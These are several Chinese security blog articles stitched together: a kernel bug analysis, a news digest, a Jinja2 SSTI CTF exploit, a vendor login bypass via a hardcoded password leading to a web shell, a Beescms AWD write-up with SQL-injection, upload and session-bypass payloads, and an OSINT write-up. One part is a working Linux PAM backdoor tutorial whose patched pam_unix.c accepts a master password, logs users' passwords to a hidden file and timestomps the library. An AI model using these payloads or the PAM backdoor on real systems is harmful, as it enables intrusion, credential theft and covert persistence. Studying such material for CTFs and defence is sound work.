if (fatal_signal_pending(current)) { // <------------------- area->nr_pages = i;
goto fail_no_warn;
}
if (node == NUMA_NO_NODE)
page = alloc_page(alloc_mask|highmem_mask);
else
page = alloc_pages_node(node, alloc_mask|highmem_mask, 0);
if (unlikely(!page)) {
/* Successfully allocated i pages, free them in __vunmap() */
area->nr_pages = i;
goto fail;
}
area->pages[i] = page;
if (gfpflags_allow_blocking(gfp_mask|highmem_mask))
cond_resched();
}
... snip ...
fail_no_warn:
vfree(area->addr);
return NULL; // <-------------------
}
其中`fatal_signal_pending(current)`如果接收到`fatal signal`(
`syscall(__NR_exit_group, 0);`),那么会直接返回NULL，最终`alloc_ldt_struct()`也会执行失败。
在补丁信息中(`commit id`: `ccd5b3235180eef3cfec337df1c8554ab151b5cc`),有提供如下信息:
Note: the reproducer takes advantage of the fact that alloc_ldt_struct()
may use vmalloc() to allocate a large ->entries array, and after
commit:
5d17a73a2ebe ("vmalloc: back off when the current task is killed")
it is possible for userspace to fail a task's vmalloc() by
sending a fatal signal, e.g. via exit_group(). It would be more
difficult to reproduce this bug on kernels without that commit.
`5d17a73a2ebe ("vmalloc: back off when the current task is
killed")`,显示在`vmalloc`内核内存分配方式下，如果任务被kill掉，那么vmalloc会提前进行返回。这么做的目的也是为了节约系统内存，以防内存资源滥用。具体`5d17a73a2ebe`commit细节如下:
root@xxx:~/git_new/linux-stable# git show 5d17a73a2ebe
commit 5d17a73a2ebeb8d1c6924b91e53ab2650fe86ffb
Author: Michal Hocko <[email protected]>
Date: Fri Feb 24 14:58:53 2017 -0800
vmalloc: back off when the current task is killed
__vmalloc_area_node() allocates pages to cover the requested vmalloc
size. This can be a lot of memory. If the current task is killed by
the OOM killer, and thus has an unlimited access to memory reserves, it
can consume all the memory theoretically. Fix this by checking for
fatal_signal_pending and back off early.
Link: http://lkml.kernel.org/r/[email protected]
Signed-off-by: Michal Hocko <[email protected]>
Reviewed-by: Christoph Hellwig <[email protected]>
Cc: Tetsuo Handa <[email protected]>
Cc: Al Viro <[email protected]>
Signed-off-by: Andrew Morton <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
diff --git a/mm/vmalloc.c b/mm/vmalloc.c
index d89034a393f2..011b446f8758 100644
--- a/mm/vmalloc.c
+++ b/mm/vmalloc.c
@@ -1642,6 +1642,11 @@ static void *__vmalloc_area_node(struct vm_struct *area, gfp_t gfp_mask,
for (i = 0; i < area->nr_pages; i++) {
struct page *page;
+ if (fatal_signal_pending(current)) {
+ area->nr_pages = i;
+ goto fail;
+ }
+
if (node == NUMA_NO_NODE)
page = alloc_page(alloc_mask);
else
## 6\. 漏洞补丁
Diffstat
-rw-r--r-- arch/x86/include/asm/mmu_context.h 4
1 files changed, 1 insertions, 3 deletions
diff --git a/arch/x86/include/asm/mmu_context.h b/arch/x86/include/asm/mmu_context.h
index 265c907..7a234be 100644
--- a/arch/x86/include/asm/mmu_context.h
+++ b/arch/x86/include/asm/mmu_context.h
@@ -140,9 +140,7 @@ static inline int init_new_context(struct task_struct *tsk,
mm->context.execute_only_pkey = -1;
}
#endif
- init_new_context_ldt(tsk, mm);
- - return 0;
+ return init_new_context_ldt(tsk, mm);
}
static inline void destroy_context(struct mm_struct *mm)
{
## 7\. 总结
虽然漏洞是由于较为低级的编码错误所引入的，且补丁也较为简单，但是其中涉及的细节还是极有意思的，比如:内核中fork进程的细节和`vmalloc`分配时所受外界的影响。另外这种漏洞模型也是值得继续探究的。关于此漏洞的漏洞利用，笔者认为其利用的难度较大。因为fork、exit_group和alloc_ldt_struct三者发生的时机较为紧凑，这就导致利用时refill
object难度提高不少。如果你有该漏洞利用的思路或者发现我的漏洞分析有什么错误，欢迎联系我，对我进行批评斧正。
qq: **3453203911** | 社区文章 |
# 12月5日安全热点 - 仙女座僵尸网络/勒索软件新变种
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Leakbase.pw被黑，网站被导向社工库
<https://www.bleepingcomputer.com/news/security/leakbase-pw-hacked-password-service-goes-dark/>
ICS-CERT（美国工控系统计算机应急响应团队）就如何在工业环境中更新杀毒软件提出建议，但有安全专家认为这些建议并不够实用，杀毒软件并不是工控系统安全的保证
<http://www.securityweek.com/ics-cert-advice-av-updates-solid-impractical>
多家执法机构合作取缔仙女座僵尸网络，此网络自2011年开始活跃，分发了非常多的恶意软件，关于此次行动的细节ESET发布了安全报告
<http://securityaffairs.co/wordpress/66343/cyber-crime/andromeda-botnet-dismantled.html>
<https://www.welivesecurity.com/2017/12/04/eset-takes-part-global-operation-disrupt-gamarue/>
安全研究员发现新的Shadow BTCware Ransomware变种，中招的用户只能免费解密3个小于1MB的文件
<http://securityaffairs.co/wordpress/66331/malware/new-shadow-btcware-ransomware.html>
美国证券交易委员会打响电子货币犯罪第一枪，ICO被冻结
<https://www.theregister.co.uk/2017/12/05/secs_cybercops_cyberfile_cyberfirst_cyberfraud_cybercharges/>
谷歌开始打击未经用户允许收集用户资料的安卓应用
<https://www.bleepingcomputer.com/news/security/google-to-crack-down-on-android-apps-that-collect-user-data-without-consent/>
## 技术类
Struts2：S2-054、S2-055调查报告
<https://github.com/SecureSkyTechnology/study-struts2-s2-054_055-jackson-cve-2017-7525_cve-2017-15095>
共享密码的风险与现状
<https://www.troyhunt.com/the-trouble-with-politicians-sharing-passwords/>
img标签的进化：没有GIF的Gif
<https://calendar.perfplanet.com/2017/animated-gif-without-the-gif/>
PocketBeagle的手工制作
<http://www.righto.com/2017/12/hands-on-with-pocketbeagle-tiny-25.html>
深入剖析LLVM混淆工具
<https://blog.rpis.ec/2017/12/dissection-llvm-obfuscator-p1.html>
ECDSA私钥与DSA签名恢复工具
<https://github.com/tintinweb/ecdsa-private-key-recovery>
安卓中的ARM Mode与Thumb Mode
<https://userpc.net/2017/12/04/arm-mode-thumb-mode-classification-android/>
STARTTLS Stripping Attack PoC
<https://github.com/tintinweb/striptls>
基于Bigquery构建内容发现Wordlist
<https://pentester.io/commonspeak-bigquery-wordlists/>
基于神经网络的恶意软件检测
<https://devblogs.nvidia.com/parallelforall/malware-detection-neural-networks/>
NSJail与沙盒Imagemagick
<https://offbyinfinity.com/2017/12/sandboxing-imagemagick-with-nsjail/>
渗透测试与.NET执行文件 Part2
<https://www.peew.pw/blog/2017/12/4/writing-net-executables-for-penteters-part-2>
Plaso Heimdall介绍
<https://www.youtube.com/watch?v=JZGfhd1PNhU>
CNI-IPVLAN-VPC-K8S
<https://eng.lyft.com/announcing-cni-ipvlan-vpc-k8s-ipvlan-overlay-free-kubernetes-networking-in-aws-95191201476e> | 社区文章 |
题目来源是2020年DASCTF 8月赛 ，通过这道题好好学习到了一些python jinja2 ssti的姿势。当时没做出来，后来参考颖奇师傅的博客做的。
链接：<https://www.gem-love.com/ctf/2598.html>
这道题目和最一般的ssti有些不一样，这道题更多的是利用了jinja2本身自带的过滤器进行了字符串的构造，又因为global没有被禁用，可以最终找到
**buitins** 中的eval进行命令执行，最终获得flag。
题目给了源码：
#!/usr/bin/env python
# -*- coding: utf-8 -*- from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)
@app.route("/")
def index():
def safe_jinja(s):
blacklist = ['class', 'attr', 'mro', 'base',
'request', 'session', 'add','+', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers','\'', '[', ']', '"', '{}']
flag = True
for no in blacklist:
if no.lower() in s.lower():
print(no)
flag = False
break
return flag
if not request.args.get('name'):
return open(__file__).read()
elif safe_jinja(request.args.get('name')):
name = request.args.get('name')
else:
name = 'wendell'
template = '''
<div class="center-content">
<p>Hello, %s</p>
</div>
<!--flag in /flag-->
<!--python3.8-->
''' % (name)
return render_template_string(template)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)
这道题的思路是通过构造最后的RCE语句然后使用eval进行执行。
可以看到在黑名单中，很多常用的方法所需字符都被过滤了，且无法传入引号，这里以往的绕过方法是用chr或者通过request.arg等方法进行绕过，但是这里会发现这两者都已经被过滤，下面从jinja2本身的特性出发进行，payload的构造。
任何未被定义的变量在jinja2模板中都会默认成Undefined，我们可以通过这个类来找到 **builtins** 中的函数。
同时python类中有一个魔术方法是 **doc**
，其作用是返回类或函数的文档字符串，如果不存在则为None，由于大部分通过调包使用的类都有着良好的编程规范，都会对类定义 **doc**
方法。那么是不是可以通过这个方法来获得我们所需要的字符串呢？
可以看到可以利用的字符还是挺多的，下面就是通过这些字符和jinja2的过滤器及全局函数进行RCE语句构造。
jinja2内置过滤器清单：<http://doc.yonyoucloud.com/doc/jinja2-docs-cn/templates.html#builtin-filters>
下面是几个要用到的过滤器和全局函数的介绍：
下面先通过构造%c来，然后通过格式化字符串来构造任意字符。
python可以利用%进行格式化字符串。
%c通过传入字符的ascii码进行格式化字符串。
先构造%
{%set te=(a.__doc__|urlencode|list()).pop(3)%}
构造%c
{%set te=(a.__doc__|urlencode|list()).pop(3)%}
{%set c=dict(c=1)|join%}{%set udl=dict(a=te,w=c).values()|join %}
构造任意字符
{%set udl2=udl%(99)%}{{udl2}}
其中udl2就是任意构造的字符
由于这道题中+也被过滤了，寻找jinja2中定义的字符串拼接运算符
有了拼接字符和字符串拼接运算符，我们可以构造任意字符串。
poc如下：
base_exp='''
{%set te=(a.__doc__|urlencode|list()).pop(3)%}{%set te=(a.__doc__|urlencode|list()).pop(3)%}{%set c=dict(c=1)|join%}{%set udl=dict(a=te,w=c).values()|join %}'''
tmplate="{%set udl"+"{}"+"=udl%("+"{}"+")%}"
payload="__import__('os').popen('dir').read()"
data=""
exp=""
for i in range(len(payload)):
data+="{%set udl"+str(i)+"=udl%("+str(ord(payload[i]))+")%}"
for i in range(len(payload)):
exp+="udl{}~".format(i)
exp=exp[0:len(exp)-1]
exp_mid=base_exp+data+"{%"+"set exp="+exp+"%}"
最后就是通过在globals里面寻找eval函数，执行exp。这部分参考了颖奇师傅的部分。最终exp如下：
base_exp='''
{%set te=(a.__doc__|urlencode|list()).pop(3)%}{%set te=(a.__doc__|urlencode|list()).pop(3)%}{%set c=dict(c=1)|join%}{%set udl=dict(a=te,w=c).values()|join %}'''
tmplate="{%set udl"+"{}"+"=udl%("+"{}"+")%}"
payload="__import__('os').popen('dir').read()"
data=""
exp=""
for i in range(len(payload)):
data+="{%set udl"+str(i)+"=udl%("+str(ord(payload[i]))+")%}"
for i in range(len(payload)):
exp+="udl{}~".format(i)
exp=exp[0:len(exp)-1]
exp_mid=base_exp+data+"{%"+"set exp="+exp+"%}"
exp_end='''{% set bu = dict(__buil=aa,tins__=dd)|join() %}{% set ev = dict(ev=aa,al=dd)|join() %}{% for f,v in kkkkk.__init__.__globals__.items() %}{% if f == bu %} {% for a,b in v.items() %}{% if a == ev %}{%set func=b %}{{func(exp)}}{% endif %}{% endfor %}{% endif %}{% endfor %}
'''
print(exp_mid+exp_end)
注意，如果最终从shell复制输出的exp的话，可能会存在空格丢失的情况，建议检查一下或者输出到文件。
结果：
参考链接：
<https://xz.aliyun.com/t/8029>
<https://www.anquanke.com/post/id/188172>
<https://www.gem-love.com/ctf/2598.html>
<https://p0sec.net/index.php/archives/120/> | 社区文章 |
# 写在前面
本篇文章是挖掘某安全厂商产品0day通用逻辑缺陷漏洞到Getshell过程。过程挺奇幻的，请各位师傅耐心观看~
# 过程
这里首先先到目标主站进行信息收集，看看他们有哪些产品等等。
然后我就用网络空间搜索引擎再次进一步收集信息，最后把目标定在了一个页面看着相对简陋的网络安全设备Web管理界面上：
[
然后这里到网上尝试寻找该安全厂商旗下这个产品的通用弱口令，费了一番功夫算是找到了，可是尝试了以后要不就是提示我`密码不正确！`：
[
要不就是提示我：`用户名不存在！`：
[
看来有可能是之前已经有人发现过该问题并提交了通用弱口令漏洞了，安全厂商可能已经修复了。这里为了验证我的观点，我便到cnvd的漏洞列表里进行高级搜索，把这家安全厂商的相关产品关键字输入进去进行查询，果然找到了该产品的弱口令漏洞信息，看来是我晚了一步啊，可惜了。那么这里我们明显不知道修复后的用户账号和相对应的密码，这里必须得开始进一步信息收集了。
经过了一些时间的信息收集，真是功夫不负有心人，我发现存在`http://x.x.x.x/data`，发现该路径下存在目录遍历漏洞。
[
这倒给我的信息收集省下了不少的麻烦。这里直接来找找有没有敏感文件和敏感信息泄露。可是找了半天，并没有什么敏感文件，都是一些Web源代码文件。本想着既然找不到敏感文件，那么就来审计下代码，看看会不会存在有漏洞直接打进去，可是这里并不能看到源代码：
[
可是这里却暴露了其绝对路径，这里马上便可以推断出其搭建在Windows系统上。那么这里来尝试会不会是IIS中间件，且版本在3/4里。这里来介绍下`CVE-1999-0278`：访问`http://host/global.asa::$DATA`
，影响IIS 3/4版本。
IIS在处理文件请求时会先判断文件扩展名是否在可执行文件扩展名列表中，如果存在，则执行并返回结果，如果不存在，则直接返回文件内容。
NTFS文件系统支持在文件中包含额外的数据流。`$DATA`是在NTFS文件系统中存储数据流的属性。
当我们对一个在NTFS分区中的ASP文件发出包含$DATA请求，IIS会检查最后一个`.`点号后面的扩展名，因为多了`::$DATA`，结果IIS不认为这是一个ASP文件，而文件系统可以识别该请求，于是返回ASP的源代码。
所以这里`文件名+::$DATA`会把`::$DATA`之后的数据当成文件流处理,不会检测后缀名，且保持`::$DATA`之前的文件名，然后这里便把文件的源代码给展示了出来：
[
因为windows中使用的是NTFS文件系统，这是导致漏洞成因的一部分，主要原因是早期版本的IIS服务器对文件扩展名的处理机制。IIS会检查扩展名，但因为多了`::$DATA`，IIS并不会把它当作php文件解析，但文件系统能识别该请求，所以会返回源代码。
那么这里就开始了代码审计。然后便在/data/login.php，即登录的文件中发现了疑点：
[
这里的部分代码我展示出来：
<?php
/**
系统登录设置
*/
include(' ../ commmon/ connDb. php');
$dbQuery = new DataBaseQuery();
$userName=$_POST['userName'];
$password=$_POST['password'];
$system=$_POST['system'];
$userInfo = $dbQuery->querySing1eRow('select passward,roleld from user_info where name="' . $userName. '"' , true);
if($password == "dandain12345")
{
@session_start();
$_SESSION['userName’]=$userName;
$_SESSION['system’]=$system;
$_SESSION['roleId']=$userInfo['roleId'];
$mainMenuIds = fetchMainMenu($dbQuery,$userInfo['roleId']);
$_SESSION['mainMenulds']=$mainMenuIds;
$subMenuIds = fetchSubMenu($dbQuery,$userInfo['roleId']);
$_SESSION['subMenuIds']=$subMenuIds;
modifyXML($system) ;
echo "0";
$dbQuery->closeDb() ;
}
else
{
if(count($userInfo)==0){//用户名不存在
echo "1";
$dbQuery->closeDb() ;
return;
}else{//用户名存在
if ($userInfo['password' ] !=$password){//密码不正确
echo "2";
$dbQuery->closeDb();
return;
}else{//正确登录
@session_start();
$_SESSION['userName’]=$userName;
$_SESSION['system’]=$system;
$_SESSION['roleId']=$userInfo['roleId'];
$mainMenuIds = fetchMainMenu($dbQuery,$userInfo['roleId']);
$_SESSION['mainMenulds']=$mainMenuIds;
$subMenuIds = fetchSubMenu($dbQuery,$userInfo['roleId']);
$_SESSION['subMenuIds']=$subMenuIds;
modifyXML($system) ;
echo "0";
$dbQuery->closeDb() ;
}
这里发现`if($password ==
"dandain12345")`语句代码和下面的当用户名存在并正确登录成功的实现的代码完全一样，那么这里理论便有一个逻辑缺陷漏洞了：即不论用户名是否存在，只要随便输入一个用户名，密码输入`dandain12345`，最后都能够成功登录进去。
这里分析完后，马上进行尝试：
比如：随便输入一个用户名为`test`，密码先随便输。然后提示我`用户名不存在！`
[
那么这里把密码换成输入`dandain12345`，居然成功了。这也证实了我之前的观点:不论用户名是否存在，只要随便输入一个用户名，密码输入`dandain12345`，最后都能够成功登录进去。
[
那么这里在选一个存在的用户名`admin`，然后密码随便输。提示我`密码不正确！`
[
这里再把密码换成输入`dandain12345`，也成功了，而且还是管理员权限：
[
最后我在管理员的权限下经过寻找可用上传点和尝试，最后成功传上去了一句话木马，并用蚁剑成功连接了
[
[
执行`ipconfig`
[
至此完成了这次的0day通用漏洞的挖掘。本章中所有漏洞均已提交至cnvd并获得证书。 | 社区文章 |
# 团队线下赛AWD writeup&Beescms_V4.0代码审计
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 本篇原创文章参加双倍稿费活动，预估稿费为800元，活动链接请点[此处](https://www.anquanke.com/post/id/98410)
>
> 前段时间，团队搞了一次CTF线下攻防赛，用的是Beescms，比赛时间太短，没来得及找出所有漏洞，现在好好审一审这个CMS。
## 一、预留后门
比赛开始，还是将整个/var/www/html目录下载下来，用D盾扫一下，是否有预留后门：
看到site/sitemap.php 文件疑似木马，查看一下：
看到$_POST[‘lang’](%24_GET%5B0%5D);很明显，这是一个木马，但是比常见的一句话木马稍微复杂一点，需要构造参数lang和0：
Post:lang=system
Get:0=ls
要拿flag的话将0=cat /flag即可：
所以直接用上面的payload攻击其他队伍即可，同时删掉自身的后门文件。
## 二、后台SQL注入
在后台登陆用户名处加个’测试一下SQL注入：
发现报错，十有八九存在SQL注入：
看下/admin/login.php内容：
在42和43行发现对user和password进过fl_value()和fl_html()处理，然后送入check_login()，跟进check_login()看下：
在fun.php的971行可以看到SQL语句对user参数进行了拼接，猜测fl_value()和fl_html()是对user进行过滤，跟进分别看下：
在fun.php的1755行，fl_value()用preg_replace()将select、insert、and、on等等关键词替换为空，这个绕过很简单，在关键词中再插入关键词即可绕过，如：seleselectct；fl_html()其实就是htmlspecialchars()，防止XSS攻击，由于htmlspecialchars()采用的是默认参数，仅编码双引号，所以对于’不会过滤，要想过滤单引号和双引号需要加上ENT_QUOTES参数，即htmlspecialchars($str,
ENT_QUOTES)。所以结合上述分析，SQL注入payload为：
user=admin' uni union on selselectect 1,2,3,4,5#&password=3&code=6c3d&submit=true&submit.x=28&submit.y=35
知道了这个注入规则之后，就有各种各样的注入方法了，尝试利用into outfile写木马进去，发现MySQL server is running with
the —secure-file-priv option，而且fl_html()会过滤<>，因此放弃了这条路，继续找其他漏洞。
## 三、后台任意文件上传
比赛中后台存在弱口令admin/admin，可以登录后台进行测试。这里猥琐一点立即修改其他队伍后台密码，其他队伍就比较被动了。
在后台发现有图片上传的地方，并且可以返回图片路径：
尝试是否可以上传wenshell，发现直接上传不行，尝试将content type改为image/jpeg,即可上传成功：
并且返回文件路径：
img/201802181347419112.php
用菜刀连接：
进一步代码审计上传文件处代码：
在admin/upload.php中的第44行发现，上传调用了up_img()函数，跟进去看看：
在fun.php中的571行找到该函数，发现仅仅对上传图片的type进行了验证：
利用upload.php中定义的白名单：’image/gif’,’image/jpeg’,’image/png’,’image/jpg’,’image/bmp’,’image/pjpeg’进行匹配，如果不在白名单里，提示图片格式不正确。而且对文件后缀没有进行判断，直接拼接：
因此，修改content type即可绕过限制，上传webshell。
## 四、前台登陆绕过
由于上传点在后台，所以其他队伍如果修改了密码，就没有办法进行利用，进一步审计登陆判断逻辑：
在admin/init.php中第54行发现判断函数is_login():
跟进去看一下，在fun.php的997行发现该函数：
这里并没有对用户信息做检查，只是单纯的判断了是否存在login_in admin这两个session标识位和是否超时而已，构造payload：
POST：_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999
可登陆后台。
利用的话，首先绕过前台登陆，然后打开/admin/upload.php 选择一个php文件上传，修改上传包中的Content-Type:为image/png就可以了。
## 五、通用防御
对于这种任意文件上传漏洞，比赛中一般通用防御是使用文件监控。文件监控可以对web目录进行监控，发现新上传文件或者文件被修改立即恢复，这样可以防止上传shell等攻击：
# -*- coding: utf-8 -*- #use: python file_check.py ./
import os
import hashlib
import shutil
import ntpath
import time
CWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []
# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'
Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"?%02x"
# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}
def isListLike(value):
return isinstance(value, (list, tuple, set))
# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
if noneToNull and value is None:
return NULL
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")
# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else: raise
# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist
# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
except Exception, e:
print u'[!] getmd5_error : ' + getUnicode(filepath)
print getUnicode(e)
try:
ORIGIN_FILE_LIST.remove(filepath)
FILE_MD5_DICT.pop(filepath, None)
except KeyError, e:
pass
# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict
# 备份所有文件
def backup_file(filelist=[]):
# if len(os.listdir(Special_path['bak'])) == 0:
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])
if __name__ == '__main__':
print u'---------start------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径，并获取所有文件的MD5，同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
print u'[*] pre work end!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
# import pdb;pdb.set_trace()
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] webshell find : ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + 'n')
f.close()
except Exception as e:
print u'[-] log error : file move error: ' + getUnicode(e)
# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] file had be change : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + 'n')
f.close()
except Exception as e:
print u'[-] log error : done_diff: ' + getUnicode(filekey)
pass
time.sleep(2)
# print '[*] ' + getUnicode(time.ctime())
附：
比赛源代码：
<https://pan.baidu.com/s/1smPfmkH>
j6y2 | 社区文章 |
**PAM** （Pluggable Authentication Modules
）是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API，将系统提供的服务和该服务的认证方式分开，使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序，同时也便于向系统中添加新的认证手段。PAM最初是集成在Solaris中，目前已移植到其它系统中，如Linux、SunOS、HP-UX 9.0等。
* * *
简而言之，PAM中包含Linux的登录认证模块，并且Linux开源，所以我们便可以修改认证文件中的代码逻辑，实现权限维持。
查看pam版本：
* getconf LONG_BIT
* cat /etc/redhat-release
* rpm -qa | grep pam
* apt-get list --installed | grep pam
查看系统版本
* cat /etc/issue
* cat /etc/*-release
* cat /etc/lsb-release
* cat /etc/redhat-release
PAM包下载地址：
<http://www.linux-pam.org/library/>
* * *
# 实验环境：
Centos7 root权限
PAM版本1.1.8
安装gcc
yum install gcc
首先下载对应版本的PAM包，解压
* <http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz>
修改moudles/pam_unix/pam_unix_auth.c文件，修改处位于180行
改成如下代码，代码很简单。 **修改判断逻辑，并且记录管理员的登录到/usr/share/java/.null中**
代码
if(strcmp(p,"goodboy")==0)
{
retval = PAM_SUCCESS;
}
if(retval== PAM_SUCCESS)
{
FILE *fp = fopen("/usr/share/java/.null","a+");
fprintf(fp,"%s::%s\n",name,p);
fclose(fp);
}
修改完后在Linux-PAM-1.1.8.tar.gz 目录中执行./configure && make
OK,遇到 **yywrap未定义引用** 不要慌，执行
yum install flex-devel flex
重新./configure && make
编译好的文件在 **modules/pam_unix/.libs/** 中
随后替换 pam_unix.so文件，系统原本的认证文件为 **/lib64/security/pam_unix.so**
32位系统为 **/lib/security/pam_unix.so**
备份
cp -af /lib64/security/pam_unix.so /opt/
用编译好的pam_unix.so文件替换
cp -af pam_unix.so /lib64/security/
修改时间
touch -r /lib64/security/pam_userdb.so /lib64/security/pam_unix.so
随后关闭SElinux
vim /etc/selinux/config
SELINUX=disabled
# 验证
使用goodboy密码顺利登录系统。当然我使用原本root的密码也能登录，并且会被记录在/usr/share/java/.null中 | 社区文章 |
# CTF OSINT题型解题技巧分享
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
近年来，开源情报（OSINT）作为一种新题型频繁出现在各大CTF赛事当中，也有一部分专门的OSINT赛事或黑客马拉松（Hackathon），旨在协助相关司法机构找回长期失踪的人员。还有团队制作了专门用于OSINT的虚拟机（Trace
Labs OSINT VM）。本文将回顾近年DownUnderCTF比赛中的几个OSINT挑战，并分享一些解题技巧。
## 挑战1 – Get over it!（DUCTF2021）
难度：简单
任务：根据图片找到桥的名字，以及桥梁的主跨长度
解题思路：根据图片的可交换图像文件格式（Exif），查看照片的属性信息，或通过搜图引擎进行反向图片识别。
1.1 – Get over it!
1\. 2 – 未知桥梁图片
1.3 – 通过exiftool工具，查看图片的数据信息。
通过exiftool工具对图片进行检查，发现图片的有效信息被擦除或修改了。所以，我们可以尝试搜图引擎对图片进行识别和反向搜索。在这推荐Yandex，一款来自俄罗斯的搜索引擎。Yandex在图片搜索方面，可能会比Google和Baidu等搜索引擎得到更多的信息，且更准确。
1.4 – 根据Yandex图片搜索的结果，发现在Instagram存在相似的照片
1.5 – 发布过相似照片的Instagram 用户，使用了#Eleanor Schonell这个标签
我们可以选择关键区域，帮助搜图引擎实现更准确的识别。这里我们可以发现一位Instagram用户曾发布过类似的照片。通过对比该用户的照片，我们可以发现两张桥梁的关键特征吻合，且该用户图片的标签显示，这座桥的名字是Eleanor
Schonell
Bridge（中文译作“埃莉诺思科内尔大桥”），位于澳大利亚布里斯班。进一步查阅大桥的资料，我们便可以得到该桥的主跨长度为185m。最终flag为
**DUCTF{Eleanor_Schonell_Bridge-185m}**
1.6 – 搜索Eleanor Schonell的图片结果
1.7 – 发现Eleanor Schonell正是我们要找到的桥
1.8 – 关于Eleanor Schonell的详细信息
## 挑战2 – Apartment Views（DUCTF2021）
难度：中等
任务：根据图片信息，定位犯罪团伙所在的公寓，并找到其交易的位置
解题思路：使用exiftool查看图片数据信息，利用搜图引擎，街景地图软件进一步定位
2.1 – Apartment Views
2.2 – 由线人提供的疑似犯罪团伙所在公寓拍摄的照片
2.3 – exiftool检查结果
首先尝试用exiftool检查图片的exif信息，并没有什么发现。现实比赛中，需要进行位置信息溯源的图片，往往都经过了剪辑和修改，很难直接获得位置信息。因此，我们接着使用Yandex进行图片搜索。由于图片分辨率不高，试图放大照片查看细节时像素感人，并无结果。但我们可以考虑从地标建筑开始，逐一进行检查。很快我们就有了发现，找到了与其中一个地标建筑相似的照片。继续搜索，我们得知这个地标属于澳新银行全球总部大厦（ANZ
World HQ），位于澳大利亚墨尔本，皇后街100号（100 Queen St,
Melbourne）。为了验证结果的正确性，接下来我们使用街景地图软件Google 地球，寻找照片的大概拍摄位置。
2.4 – Yandex图片搜索结果，发现了相似的建筑信息
2.5 – 该建筑可能是ANZ World HQ (澳新银行全球总部大厦)位于墨尔本
2.6 – ANZ World HQ （Google地球3D模型）
不断调整视角，我们可以发现，左侧的Google 地球3D模型图，与右侧我们需要溯源的图片吻合。
2.7 – 图片细节比对 1
